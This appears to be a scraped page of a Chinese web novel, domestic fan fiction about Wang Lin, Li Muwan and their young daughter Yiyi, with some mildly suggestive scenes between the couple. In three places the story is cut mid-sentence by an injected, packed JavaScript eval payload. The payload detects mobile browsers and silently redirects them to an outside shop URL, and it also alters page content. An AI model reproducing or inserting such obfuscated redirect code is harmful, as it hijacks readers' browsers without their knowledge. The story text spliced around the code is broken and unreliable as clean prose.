王依依扒在她肩头,小手贴着她胸前,娘亲身上总有一股淡淡的香味,她很是喜欢。 日暮要到了,村口海棠树下站了个人影,王依依蹲在草地里,近乎整个人藏了进去,蹑手蹑脚要捉蝴蝶,李慕婉偶尔看看她,又把视线放到远处,等着那抹身影纵入。 “抓到了,抓到了。”忽而王依依雀跃而起,手里捏着蝴蝶翅膀在李慕婉跟前挥舞,李慕婉露出和蔼,温声说:“依依,别伤着小动物,过会放了,好吗?” “哦。”王依依略有失落,不舍的望着手里的蝴蝶,那是她好不容易抓的战利品,却不想轻而易举放了。 李慕婉体会到她的心思,蹲下身与她视线平齐,温柔说:“依依很厉害,娘亲都捉不到的依依捉到了,待会给爹爹看看咱们就把它放了,好不好?” “好。”她这才高兴,端正立在她腿前,等着爹爹回来。 没过多时,村里的马车坐了好几人,王林率先纵身跃下。 面上漾起久违的笑容,朝二人喊道,“婉儿,依依。” “娘亲,是爹爹。”王依依飞跑上前,身后的李慕婉小跑跟上,生怕她摔了。 “依依,你慢些。” 王林蹲下身张开双臂把那橙色小团绒抱入怀里,“依依都能跑这么快了?” 他起身后炽热地望着李慕婉,牵过她手,思念如潮,“婉儿,我回来了。” “嗯,回来就好,家里人都念着你呢。”李慕婉用衣袖擦去他的额汗,两人目光交汇,情深到只有彼此,怀里的王依依皱着小脸,手里举着蝴蝶念了几遍“爹爹,这是依依抓的蝴蝶”却无人在意。 小团绒急了,抱着他手臂,圆溜溜的双眼瞪着王林,“哼!” 哼了一声还无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098602|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人理会,她便又哼了声。 “爹爹眼里只有娘亲,没有依依,我不要爹爹了。” 两人这才恍然怀中的小人儿还在,相视一笑,王林捏了捏她小脸,“谁说爹爹眼里只有娘亲,依依连娘亲的醋也要吃么?” 见两人注意力在自己身上,她便兴致盎然地举起手里的蝴蝶,等着夸赞,“爹爹看,这是依依抓的蝴蝶,娘亲夸我厉害呢。” “娘亲说要拿给爹爹看了再放它走。” “是很厉害,”王林应着她,目光又落在李慕婉身上,“爹爹看到了,依依放了吧。” 她小手一松,蝴蝶扑棱着翅膀停在不远处的花枝上。 小道上一家三口有说有笑,王林给李慕婉说着讲学的趣事,李慕婉也给他讲着王家村的事,王依依听着听着便趴在他肩头睡着了。 李慕婉看了看她,抬手摸着她后心,很是宠爱道,“依依知道你要回来,日中也没睡午觉,在院里左等右等,这会儿是累了。” “让你们久等了。”王林面颊贴近肩头的小人儿,蹭了蹭。只是肩头的那块衣料湿了一片,王林无奈漾起笑。 周英素做好了饭菜,人一回到小院便能开饭,李慕婉接过他怀里的王依依,轻轻拍了拍她小脸,叫醒吃饭。 王依依睡眼惺忪,看见王林又清醒一些,用饭时也要使劲往他怀里钻。 “我要爹爹喂。”她把碗里的饭递给王林,家人由着她。 “好,爹爹喂。”王林抱起人坐在腿上,一口菜一口饭,她吃得乖,没两下就饱了,见她不要吃了放开人后自己才吃起饭。 王依依一脱手便跑去院里自个玩起来,李慕婉喊着让她当心些。 院里的海棠枝搭了秋千,她荡着欢快,堂屋里长辈们笑声不断,夜深后才静了。 回到西厢房后王林拿出给李慕婉买的簪子,替她插上,又把人搂入怀里,“婉儿喜欢吗?” 李慕婉点头想,王依依坐在自己那张小椅上,晃着小腿看爹娘柔情蜜意,想起来说:“爹爹,依依的糖葫芦呢?” 王林坦然道:“爹爹给忘了,不过爹爹给依依买了别的,不要怪爹爹好不好?” 王依依插着小腰,皱起小眉,眼珠子提溜转,气鼓鼓的,眼看就要哭了,他怀里坐着娘亲,给娘亲买的簪子就记得,答应给自己买的糖葫芦就忘记了。 “爹爹讨厌,依依不要跟你们睡了,哼。”虽心有小怨,也委屈极了,却忍着没哭,正想跑到堂屋去找祖父祖母哭诉来着,周英素拿了木瓢看见她从西厢房里出来,唤着她。 “依依这么晚了怎么还没睡?” 听得周英素的声音,王依依心里的委屈倾泄而出,“祖母……” “爹爹坏,”那哭声越发凄厉,“爹爹骗人。” 瞧她哭得伤心,周英素心疼坏了,给她抱到堂屋擦了一把又一把的泪,“怎么了这是?” 王天水见她这般伤心,忙抱过来一道哄着,“谁欺负我们家小依依了,晚上哭会招来老虎的哦。” “祖父,祖母,爹爹答应了依依回来要带糖葫芦的,”王依依往怀里缩了缩,委屈极了,控诉着说,“可他给娘亲带了发簪,却把依依的糖葫芦忘了,爹爹讨厌。” 周英素这才明白怎么回事,王林不是忘事之人,许是知道她糖吃多了不好,特意不给买的。 “祖父,祖母,爹爹不爱依依了吗?”她鼻子哭红了,泪眼婆娑,小脸还是鼓鼓的。 两人摇摇头很是无奈,西厢房里王林抱着怀里的人,半张脸藏在她颈窝,“婉儿,让我好好抱抱你。” “你当真把她糖葫芦忘记了?”李慕婉手里玩着他的发带,回想适才女儿那股生气劲儿,很是好笑。 “本是答应她要给她买的,可是婉儿信中说依依吃多了糖,牙疼了好一阵,我这才没买,得让她少吃一些。”王林轻点着她面颊,最是念着她。 “答应了孩子的事,是不能食言的。”李慕婉推了他些许,很是正肃。 “我知道,没给她买糖葫芦,给她换成别的了,只叫她性子耐不住,不然方才就给她拿出来了。”王林望着屋外,不知爹娘会不会把人送回来,也没再往下一步。 “我去哄哄她。” 李慕婉起身,王林出去了,她便收着他包袱里的东西,把衣裳挂好,书本叠在书案处。 他不在的时候,屋里大多数都是女儿的物件。 52.外甥 李奇庆从燕州带了批药材回来,李慕婉带着王林和王依依一块上街,一早知道要去看舅舅王依依便吵着李慕婉要穿祖母新做好的衣裳,还要梳好看的头。 燕州半年来有动荡之势,燕王与朝廷水火不容,削藩仍是必行之举,先前燕王投诚是形势所迫,连着几年燕州商贸崛起,燕王积攒雄厚资金。 近年来频频暗中招兵买马,屯粮锻器,目的就是为着有朝一日能与朝廷势力抗衡,而今举兵也是大势所趋。 李奇庆在药房里与二人谈了燕州此行所探,王依依坐在他怀里,乖乖的也不乱动,与舅舅亲得很。 “战乱必起,百姓难免要家破人亡了,”李慕婉神色伤感,“若逢战事,那么哥哥燕州的药商可还好做?” “以我这些年在燕州建立起的商路,若是燕州起兵,咱们李家药材会成为军用药材采买的重要途径,只是……”李奇庆犯难。 “只是若给燕州运输药材,怕是对朝廷不好交代。”王林一语中的,点出关键,“若真兵戎相见,朝廷也不会断了燕州药物输送途径,即便断了兄长的,燕州也可去楚国采买,楚国物产丰饶不逊赵国,且燕州接壤楚国,长年与外邦贸易往来,不缺采办路途。” “兄长原先如何做,眼下也一样。” “哥,阿兄说得对。”李慕婉起身说,“若两边开战,定然会生灵涂炭,咱们既非文官无法献策止戈,也非武将无法上战杀敌,婉儿只愿能多炼一些药丹,以备不时之需,不论是兵者还是百姓,皆是凡躯。” 王林先前去外地讲学也有所耳闻,之后也还有几场外地的讲学相邀,他都应下了。 夫妻两人难得来一次,李奇庆不想再谈公事,便说:“你们用了饭再回去吧,我在隔壁酒楼定了席面,有依依爱吃的点心,依依陪舅舅吃顿饭可好?” 一直乖巧的王依依闻言眼睛一亮,鼓着小掌,“好,依依要吃点心,娘亲,爹爹。” 王林本也没想推辞,很爽快应下了。 王依依一整日都黏着李奇庆,跟舅舅亲着呢,李奇庆纵着她,一应俱全,李慕婉要管着她,他便护着,碍于是哥哥,她也没法子。 “这是我外甥女,我不疼她疼谁去?”李奇庆拿了一块糕点给她,又帮着擦净嘴角的点心碎,王依依晃着小腿,肚子吃得胀胀的,都打嗝了李奇庆才作罢。 回的时候还哭了好一阵,嘴里念着舍不得舅舅,李慕婉见她哭得委实可怜,便说让她留下陪舅舅住一阵,哭声便止住了,老老实实跑到王林身旁抱着他腿。 几人无奈笑了笑,王林抱起人给她擦了眼泪,“不是吵着要舅舅,怎得又不愿?” 王依依趴在他肩头蹭着,知道要回王家村,便转身对李奇庆有模有样做辞别,“依依改日再来看舅舅。” 李奇庆摸摸她脑袋说好,还要与她拉勾,小人儿泪眼汪汪的好不可怜。 *** 王林与李慕婉两人在凡世游历了几年,李慕婉的记忆已经全部复苏,可这几年再也没有因记忆苏醒而产生痛苦。 离开时王林还想再回竹林小院一看,两人施法从一处桃林瞬移到清平镇永凌港,港口商船络绎不绝,两人身上有着凡人看不透的仙气缭绕。 夕暮前,清平镇街上的人流有所减少,王林牵着李慕婉漫步,李慕婉对这烟火人间仍是留有好奇,纵然她百般疑问,王林都会一一应着她。 两道出尘身影穿过人影,与一家三口擦肩而过。王依依手里拿着糖葫芦,伏在爹爹肩头上,看着远去的人影,她呢喃道:“那二人怎得与爹娘长得那么像?” 王林听见后回眸朝人群看去,那两人身影已经没入人群,毫无踪影。 “依依困了?” “难道是祖父说的仙人吗?”王依依似听不见王林的声音,而后便睡着了。 李慕婉拿了她手里的糖葫芦,温柔地抚了抚她的背,“出来一日,她都没午睡,这会该是累了。” “阿兄,依依也该上学堂了,你先前说想让她去县里私塾上学?” “嗯,”王林吐露自己的打算,“县里教学资源好,依依承了婉儿的聪慧,学什么都快。咱们县里不是还有一处宅子么?往后我去讲学,你们娘俩住在县里也方便。” “爹娘在王家村住了一辈子,若是搬到县里定然不会习惯。”李慕婉有所疑虑。 “无妨,爹娘不会怪罪的,”王林安慰道,“爹娘如今身体硬朗,能照顾自己,我们常回来就是,况且,我让爹少接点木雕单子,不必劳累。” “婉儿不是一直还想开个药铺吗?兄长在镇子上开,婉儿在县里再开一个也无妨。若往后爹还不想放下木雕手艺,我在县里租个铺子下来,把爹雕刻的木雕都放在你的药铺里摆卖。婉儿觉着呢?” “你都筹划好了,”李慕婉若有所思,“婉儿听阿兄的。” “不过此事还是要与爹娘商议。” “知道,婉儿放心吧。” 夜里王家堂屋内,王林与二老表明了去县里长住的打算,二老自然没意见的,为了不让小夫妻忧心,也答应得空了会去县里宅子住上一住。只是心里舍不得这可爱讨喜的小孙女。 *** 白日艳阳照过小院时还是暖的。王林舀了桶热水,李慕婉躺在藤椅上,书本盖住了眼。身后的动静吵着晒日的人。 王依依自己在海棠树下玩小马,专注起来也不吵人。 “今日天晴,我给婉儿洗头吧。”李慕婉拿下书,长影挡住她眼前的光线,王林长身玉立给她盖了层薄褥。 昨夜李慕婉提了一嘴,本想今日洗的,晒日时却犯起懒。 见她模样,王林便主动给她洗,她头发生得柔顺。热水滑过头皮,一股舒适传来,李慕婉享受着惬意,嘴角噙着笑意。 “婉儿笑什么?”王林时刻关注着她。 “没什么。”李慕婉又翻了书,心里泛着甜渍。 洗好后又替她擦干了发,墨发半干披在腰后,午后的日头晒,很快就干了。 王依依玩累了才来找爹娘。 见王林和李慕婉同靠在藤椅上,她也要凑过去,蹬着小腿抓着王林手臂便要攀爬上去。 王林这才回头,手臂用力给她捞了上来。 “爹爹跟娘亲总要腻在一块,也不理依依。”她瞥着小嘴很是不满。 “爹爹给娘亲洗头的时候怎么不见你来帮忙?”王林说。 李慕婉摇摇头,发丝落在他手心,腰腹上的掌心更紧了。 “哼。”王依依不理他,一把钻入李慕婉怀里,李慕婉抱着她,擦干她脸上的热汗,哄着,“那依依帮娘亲梳头好不好?” 撅起的小嘴这才松下,“好,娘亲最好了。” 王林不作声,起身抱了李慕婉往西厢房去,王依依还坐在藤椅上,朝身影喊道:“爹爹。” “你把依依忘了。”李慕婉道。 “没忘,逗她的。”王林转身另一只手抱起王依依。 “爹爹好厉害。” 李慕婉坐在书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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清晨时,王林端了盆温水回屋,李慕婉替王依依穿着一身浅紫新衣裳,衣裳上绣的是她喜欢的蝴蝶样式,绑的两个小发髻上插了流苏坠子,圆溜溜的眼睛似装满了星辰。 小脸白白净净,像一朵含苞的出水芙蓉,又像个精致的瓷娃娃。 见王林过来,李慕婉推了推她往爹爹那去。 王依依一副没睡醒的模样,眼皮半掀着,抱着王林膝盖就这么靠着,湿帕浸入木盆里,又拧干了。 大掌扣着她脑后,温热的湿帕擦着王依依的小脸。 “唔......”王依依被蒙住了整张脸看不见,小手攥着王林衣角更紧了。 “啊......”湿帕来回擦拭,擦得王依依嗷嗷叫要往后躲,越是如此,王林使得劲越大,像憋了坏心思。 李慕婉听闻动静,忙插好簪子从屏风里出来,打掉王林的手,“阿兄,依依还小,不能这么使劲擦。” 王依依打小本就不爱擦脸,更小的时候还会哭,现在长大了些不常哭闹。 湿帕到了李慕婉手里,她擦得很细,动作也轻,王林笑着,捏了捏女儿的脸,“跟她闹着玩的。” 王依依仰着头去看王林,还觉得好玩,若无其事地与他笑着。王林见状又捏重了几分,她这才不愿,想要弄开王林的手,却被他巧妙躲过又落回她脸颊上。 接连与她闹了几回,王依依小性子上来了,嘟起嘴鼓着腮,又无可奈何,捂住自己的脸使劲往李慕婉怀里钻。 “娘亲……”王依依撒娇道,“救救我。” 李慕婉轻笑出声,又怕被她瞧见,只能忍了忍,看着她的小模样好笑极了。 她许是一时忘记了,爹爹和娘亲是一伙的。 53.小像 【这章是衔接51章后面的内容,原本是52章,居然漏掉了这章,呜呜呜】 【之后会把52章和53章的内容顺序换过来,避免不影响阅读,特此说明】 在堂屋里王林哄了好一会儿,与她商谈着,王依依这才原谅他,小臂搂着他脖颈撒娇,也不气了。 王林给抱回屋里,没过多时王依依睡着了,他望着身挂中衣的李慕婉,衣领处露出白皙锁骨,内心柔情化不开。 李慕婉喊他下榻歇息,王依依躺在床榻最里边。吹了烛火,他臂弯搂紧人,唇瓣贴着她轮廓,心中烈火难熄,竹林里夜莺啼哭,叫得他思绪纷乱。 陡然间,他掀了被褥,起身点了火折子。李慕婉半梦半醒中,呢喃问:“怎么了?” 王林没应声,只是把熟睡的王依依抱了出来,往堂屋去了,回的时候是他一人回来的。 李慕婉只听得房门开了关,关了再开。身旁动静窸窸窣窣,身上大掌温热游走着,睡梦中她察觉到什么,清醒后握着他手腕,“阿兄?” 王林欺身而上,抵住她,“婉儿。” 旋即贴上唇,含着她软唇,李慕婉猛然推开,惊魂道:“王林,依依还在呢。” 他扼住她的手腕,不让她动,轻声说:“我把依依送去爹娘屋里了,婉儿,我们……” 李慕婉闻言侧身,抬手去探了探,果然空了。隔着昏暗,看见他那眸底的腥红难以压下,多日不见的思念,让彼此更加想要贴近,。 慕婉主动抱过他宽背,声声轻叹在勾着他,帷幔荡到后半夜,鸡鸣要起,屋内的烛火亮了又灭,几经转辗后终是停了。 王依依醒来后拍着西厢房的房门,“爹爹,娘亲,起床了。” 屋外喊声嘹亮,王林系好腰封给她开门,她小脸一凝,一副打量的做派,“爹爹和娘亲这么大人了还赖床。” 李慕婉倚在床榻,身上的中衣穿好了,腰受了累,还不想起。 王依依见着她便跑过去依偎在她怀里,天真说:“娘亲,依依记得昨晚是跟娘亲和爹爹睡的,不知为何起来后便在祖父祖母屋里了。” “难道是依依记错了?”她摸着小脑袋,一脸疑惑。 “这个……”李慕婉不想骗孩子,望着束发的王林,“要不你去问爹爹?爹爹定然知道。” 王依依闻言又爬下床榻,从身后拽了拽他衣摆,王林转身俯视她,歪头淡淡说:“依依做梦了,你在祖父祖母屋里睡着的。” 这种情况也不是一两回了,每次王林都是这么回的她,久而久之她当真以为是自己记错了。 后来她只记得,只要爹爹从外地讲学回来,总要哄着她去祖父母屋里睡,即便她要闹着与爹娘睡,在西厢房睡着后,还是会从堂屋醒来。 爹爹回来的时日,白日总爱与娘亲待在屋里,有时一块写字,或是看书,又或是对弈,抚琴。每每这时候,王依依要不就自己在院里玩儿,要不就靠着两人腿上睡着了。 有时候还会见着爹爹压着娘亲,帷幔挡住了。 王依依从矮榻挪到书案,书案上刚用过的笔墨还未收,帐帘半掩着,王林压着李慕婉,手臂搂过软腰,有孩子在,衣裳自然还是整的。 只是他的动作有些一发不可收拾,李慕婉连忙制止,想着王依依还在呢,已经三岁的她虽不懂爹娘在做什么,可是不知孩子会在哪个时候就往外说。 “依依在呢。”李慕婉推着他,屏风后有动静传出,砚台落地,墨汁溅着四处,夫妻两人从屏风露出,见着眼前景象瞬间哑语。 王依依盘腿坐在案台上,手里还抓着蘸了墨汁的笔,正往鼻子画,两颊已经糊了一层墨,没有一块是白的,身上衣裳也染了大块大块墨渍。 两人立在屏风侧怔愣许久,王林淡淡说:“这是谁家孩子?” “你的女儿。”李慕婉无比平静。 王依依看见二人,还张牙舞爪笑着爬下书案,朝两人过来,王林无奈牵了唇角,淡淡留下句,“我去烧水。” 李慕婉把王依依抱到院里去,又重回屋里收拾好残乱,王依依转在院里无人理,索性坐在草地里,抓了一把枯草就往衣裳上洒。 “爹爹,不是刚吃过午饭吗?”王依依朝着厨房喊,“你做什么好吃的吗?” “爹爹知道,依依乖,你先坐好。”王林满是耐心,从净房拿了个浴桶摆到院里。 李慕婉手里搭着一身干净衣裳,放到竹几上。看着女儿满脸的墨汁,有些哭笑不得,头上的小髻也都乱了,还挂了几缕枯草。 “这是咋的了。”周英素从外边回来见着满身墨渍的王依依坐在草地里正打滚。 “娘,她一身墨,别蹭着您。”李慕婉拉过周英素送进堂屋,周英素满是不放心,一步三回头。 王林往浴桶倒上烧好的热水,又盛了些凉水试试水温,“婉儿,我来吧。” 王依依身上的脏衣被褪下,刚放入浴桶水便混浊了,王林给她擦着小脸上的墨,她只当爹娘是与自己玩儿,还乐呵的说:“娘亲,依依会写字了。” “你那是写字?”王林搓着她小手。 她是常见爹爹坐在案台上写字,觉着好玩,习着他的样子。 “爹爹,写字好玩。”小手拍打着水面,溅起的水落到两人身上,李慕婉侧身躲着,可面颊还是沾到了。 王林从案几拿了条新的帕巾,给李慕婉慢慢擦拭着,嘴里念着,“依依想学写字,爹爹先教你握笔。” “我要娘亲教。”王依依看着凑近的两人。 “好。”王林给李慕婉擦完还轻点了一下。王依依转着眼珠,看着他亲自己娘亲,小脸蹙成一团。 “不是答应让娘亲教你了,依依这是怎么了?”王林转回身后看着她那不满的小脸,也是疑惑。 王依依在浴桶里转了一圈,背着二人,插着小藕臂,院里暖阳照着,面颊上还是黑乎乎的。 “怎得又生气了?”王林摇摇头抓起她手臂继续擦着污渍,李慕婉跟着笑,细细擦着她小脸,可是墨汁不好擦,脸上的力量加重了,王依依有些站不住,被推得稳稳贴到桶边,紧紧抓住王林的手腕。 “爹爹,你刚在房里是不是欺负娘亲了?”王依依面颊被帕巾遮住了,稚嫩的声线透出来。 李慕婉手中动作一顿,帕巾赶忙捂住她嘴。 “依依,不要乱说话。” 王依依挣扎着,蹭着湿帕,好不容易得了空,怨念道,“娘亲,你捂我嘴干什么,依依都看见了,爹爹压着你,还让你别动。” 李慕婉欲言又止,无助地看着王林,王林唇角难压,笑意一直挂在脸上。 “爹爹没有欺负娘亲,是跟娘亲闹着玩的。” “那我怎么还看见娘亲这里,这里,”王依依指着自己的肩头,“都被咬了,爹爹咬娘亲做什么?” 李慕婉听不下去,又是捂了她嘴,作了嘘的手势,“依依乖,抓紧洗干净咱们穿新衣裳好不好?” 王依依听着新衣裳,没再往下问,应着她,“好,娘亲给依依穿新衣裳。” 身上的墨渍好不容易清洗掉,王林又舀了几瓢温水给她冲干净了,浴袍擦完身上的水迹,李慕婉才替她穿好衣裳,又重新梳了小发。 “来,爹爹抱。”王林坐着竹椅,把她放到腿上,看着白胖胖的女儿很是怜爱,忍不得朝她粉嘟嘟的肉脸亲了一口。 “爹爹,我要坐小马。”王依依撒娇道。 “坐小马吗?”王林起身,腿上的小人儿坐到脖颈上,“爹爹带依依飞,好不好?。” “好耶。”王依依雀跃,玩了好一会儿,王林又给她放到海棠枝上,双手伸在下边以防她摔下来随时接着。 李慕婉立在他身侧,柔声说:“小心摔着。” 王依依紧紧抱着树枝,有些局促又耐着性子,好似生怕爹娘看出来她的害怕,李慕婉看在眼里,这固执的性子倒是与王林有些相似。 “下来玩吧,”李慕婉说,“依依去堂屋找祖父祖母玩。” 闻言她才跳下来,王林稳稳接住了,刚落地她便急着往堂屋跑去,跑起来时小髻一晃一晃地摆动着,甚是可爱。 见王依依进去了,李慕婉回头正肃与王林说道,“阿兄,以后依依在时,你收敛一些。” 王林拽过她手腕,另一只手扣着腰,才没有应她,又是吻上去,李慕婉猛然推开他,躲回了西厢房。 堂屋传出王天水和周英素逗王依依的笑声,王林不紧不慢跟上,他的身影进了西厢房,李慕婉只听得一声上锁的声音。 后来李慕婉觉着她长大了要记事,总与二老挤在一处睡不是事儿,提出要把东厢房给她收拾出来,往后就是她闺房。 只是那东厢房本来就不大,已经做了药房,再收拾不方便,若是给王依依做了闺房,那李慕婉炼制丹药便没了地方。 索性王林重新在西厢房一侧的空地重新起了间小屋给她。开始王依依还不习惯一人睡,夜里醒了就会往爹娘房间跑,隐约看见几次爹爹都在欺负娘亲。 她急得要哭了,质问王林为何要欺负娘亲,王林面色凝重,望着李慕婉无奈叹着气,好在衣裳还都穿着。 李慕婉哄着她,解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14121155|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释了好久,并非是欺负,而是玩闹,王依依似懂非懂,打量着王林,生怕他再次欺负了娘亲。 直到哄睡了把她送回小屋,两人又才继续,只是这次他把门上了锁。 白日大多时候,王家人都在院里,春日天气好,百花争艳,院里的花开得好。 春日暖阳,王天水在院里雕木头,周英素手里缝着王依依的新衣裳,三岁的她比同龄孩子长得要高些,模样像极了李慕婉,只是那双眼睛却与王林颇为相似,眉眼透出的神色也与他无异。 李慕婉晾着药材,王林帮忙递药材,王依依手里捧着一把小花,蝴蝶落在花朵上,她自己跟自己玩得开心,周英素时不时注意着她,叮嘱道:“依依小心些,别让蜜蜂蛰了。” “知道了祖母。” 春日百花齐放,招蜂引蝶的,不免有蜜蜂落在她手中的花枝里,再一个不小心蛰疼了,这事也不是没发生过,可是她好了伤疤忘了疼,没在意。 王林与李慕婉齐齐望过去,见她乐得自在也没多管她。 许是玩够了,她把采的小花放入花筒,又搬了矮墩子坐到王天水身边,津津有味地看他雕刻。 “祖父,这是什么?依依好像没见过。”她小手指着半成品的木段。 “这是仙人木雕,等刻好了依依就能看见仙人的模样了。” “哦?仙人?仙人长什么样?”王依依晃着小腿,若有所思,“仙人是不是长得都好看?” 王天水点点头。 “那仙人有娘亲好看么?”她不懂,“娘亲长得好看,娘亲也是仙人吗?” 院里闻言几人都溢着笑容,童言逗着人乐,王林替李慕婉捋过些碎发,“让我来吧,你去歇一歇。” “无妨。”李慕婉也替他擦了鬓间的汗珠,“晾完手里的就完事了。” “那祖父能不能给依依也刻一个小像?” “好好好。”王天水很是宠爱这孙女,“给依依刻。” 药草晾完了,王林与李慕婉坐在白梅树下的藤椅休憩,他给李慕婉倒了杯茶润口,望着那专注看木雕的王依依,目露柔情。 只听王依依控诉说:“爹娘的屋子里摆放了好多娘亲的小像,可是没有一个是依依的,爹爹只刻娘亲,不刻依依。” 李慕婉口中的茶险些呛了,王林赶忙上前关切,抚着她背,王依依扭回头注视二人,满眼都是小怨念。 二老瞧着样子可爱极了,王林临着些许距离,张开臂让她过来。 “那爹爹不是给依依刻了很多玩具,”他指着院里的木具,“这小马,蛟龙,还有你的小秋千,哪样不是爹爹做的?” “可是没有依依的小像,爹爹就是偏心娘亲的。”王依依撅着小嘴,也不怪她这么说,王林花在她身上的心思不少,可是对于李慕婉,他自是更留心些。 女儿从小便是他一手带的,教她讲话,习字,虽说如今认得字还不多,再过两年也能上学了。 “依依来娘亲这,娘亲抱抱。”李慕婉接过她,把她身上粘的木碎拨干净了,小发髻也乱了些,便给她重新梳理,“早间是谁给依依梳的小发?” “爹爹。”王依依到了李慕婉怀里就无比乖巧。 “那是谁给依依买的小人书?” “爹爹。” “那爹爹好还是不好呢?”李慕婉一步步引着她,“依依穿的衣裳好像也是爹爹买的,可对?” 王依依垂下眸子,点了点头,“爹爹好。” 李慕婉这才满意,她玩得起劲,身上出过汗,鬓间发丝贴着湿湿的,让王林带她去换了干净衣裳,又给她洗了发。 擦干后王依依困得不行,王林给她抱回屋里睡,见她心心念念的想要一个自己的小像,便拿了把刻刀,坐在王天水身边刻起来。 刚出生的她裹着婴儿布,那是王林与这小生命初次见面的第一眼,还有她刚学会坐的木雕小像,开始长牙的小像,会走路时的小像,都是她的成长轨迹。 木屑堆起厚厚一层,天都暗了,院里就只剩下他一人,李慕婉从药房出来提醒着:“阿兄,歇一会儿吧,天黑了对眼睛不好。” “快了。”划下最后一笔,手中的木雕完成,他抻了抻腰舒展,“成了。” 一排整整齐齐的木雕小像铺满了案几,“依依醒来再拿给她。” “你呀,就宠着她吧。”李慕婉笑盈盈说。 “怎得?依依吃婉儿的醋,婉儿也要吃依依的醋吗?”王林拽过人往自己怀里坐,朝她面颊点缀一口。 李慕婉忙推开他,巡视一周院内确认无人才作罢。 54.哄睡 竹林上空立的两人,在夜幕下,王林施法布下一个禁制笼罩竹林。 李慕婉抱着他的手臂在上空默默看着小院的一切,周英素在鸡舍赶着鸡,王天水帮忙舀了一桶水拎过去。 “孩他娘,这鸡养得肥,铁柱他们娘仨去县里前杀一只,给依依和婉儿留个鸡腿吧。”王天水道。 “好,明日就杀,依依昨日还念着呢。”周英素跨出鸡圈。 王依依在小院里拿了小像玩,玩够了自个儿坐上秋千架荡着,微风打着海棠枝,她乐呵笑着,玩得很是开心。 李慕婉躺在王林怀里,两人窝在书案前。她手里还捧着话本,“青木最后复活了清影,两人一起踏天,此后二人与天地同寿,再也不会分开了,对吗?” 王林抚着她面颊,指腹从眉骨摸索着,一直滑到鼻尖,眸底满是爱意,淡淡应着她:“是,他们还会有自己的孩子。” 李慕婉合上话本,直起身子坐到他腿上,双臂勾着他,朝他鼻梁点缀。 王林就这么一本正经地打量着她,李慕婉的指尖已经扯下他发带,抓着他的手腕沿着自己脖颈往下。 她这副样子叫人想吞了,王林压着的欲念被勾得爆发,猛然抬了她腰身,结实的身躯欺上,李慕婉贴在书案上,细长的脖颈被啃噬着,酥软遍布全身。 “唔……” “还敢吗?”王林质问道,狼腰用力,没想放过她。 “王林……”李慕婉怕了,门还没关呢。 屋外却响起王依依的喊声:“爹爹,娘亲,快出来。” 王林没停下,面颊埋入丰腴处,狠狠咬下一口,“你……依依叫我们呢。” “我知道。”王林抬眸盯着她,眸子涣散被情愫充满。 “待会她进来了,再看见不好。”李慕婉试图找着脱身机会。王林这才作罢,下压的身躯直起,把长木桌上躺着的人捞回来。 “晚些再算婉儿的账。” 周英素与王天水从鸡圈回来,叮嘱着:“依依荡慢些,小心摔着了。” “知道了,祖父祖母。”王依依乖巧应着,秋千也慢下些许。 西厢房门外两道身影并排出来,王依依瞅着檐下的父母,甜甜喊着:“娘亲,爹爹,快来看,天上的星星好亮。” 两人涉阶而下走到院中,纷纷望去夜空,细碎星点闪耀,如银河铺满天际,院里亮堂。王天水和周英素也坐到院前乘凉。 王林手臂绕过李慕婉腰后,带着她,“婉儿跟依依坐,我推你们娘俩。” 王天水手里端着烟斗又抽了几口,周英素忙劝道:“孩他爹,上了年纪少抽一些。” “知道了,知道了。” “……” 院里笑声绵延不断,王依依倚在娘亲怀里,张着双臂,高兴道:“爹爹,再高一些,再高一些……” 王林使劲一推,王依依害怕紧紧窝在娘亲怀里,李慕婉俯身瞧她身上玩得出了一身薄汗,小脸通红。 王依依也仰着她看,却觉她衣领不对劲,童言天真道:“娘亲,你衣领怎么了?” 李慕婉低头一瞧,领口扣子没扣好,她回头睨了身后挑笑的王林一眼,王林只当无事发生,慢条斯理地抱起了王依依,挡在她身前。李慕婉趁机扣上领扣,又再拿了帕子给王依依擦拭汗珠。 “娘亲,我好像又看见仙人了……”王依依望着夜空浮的祥云,指着上空。 “……” *** 小院的欢声笑语荡在竹林上空,祥云上的王林与李慕婉面带笑意。王林搂紧她的腰,视线回收到李慕婉身上,忘情说:“婉儿,咱们回去吧。” 李慕婉点点头,王林神念一动,二人从窥视镜出来,落在莲池上。 王林瞬移到湖心亭打坐,李慕婉视线还留在窥视镜里,两人从凡间回来,周身灵力又有所浮动,似已上了一个境界。 莲池的花开了,桃林里花瓣飘落而下,李慕婉伸手接住了一瓣,掌心合上,望着湖心亭打坐的王林。 她神识一扫,储物袋拿出一把古琴,坐在王林身旁,轻抚琴弦,琴音沿着山谷缓缓而上,阵阵余音与花瓣相融,琴音里带着曼妙,似藏着一股灵气,要将人带入愉悦与欣喜。 闭目的王林睁开眼,李慕婉倩影落入眸底,他注视良久,不忍打断她,直到最后琴弦停止,余音还在山谷里翻覆。 王林起身从身后环住她,“婉儿。” 李慕婉回眸与他相视,“师兄。” 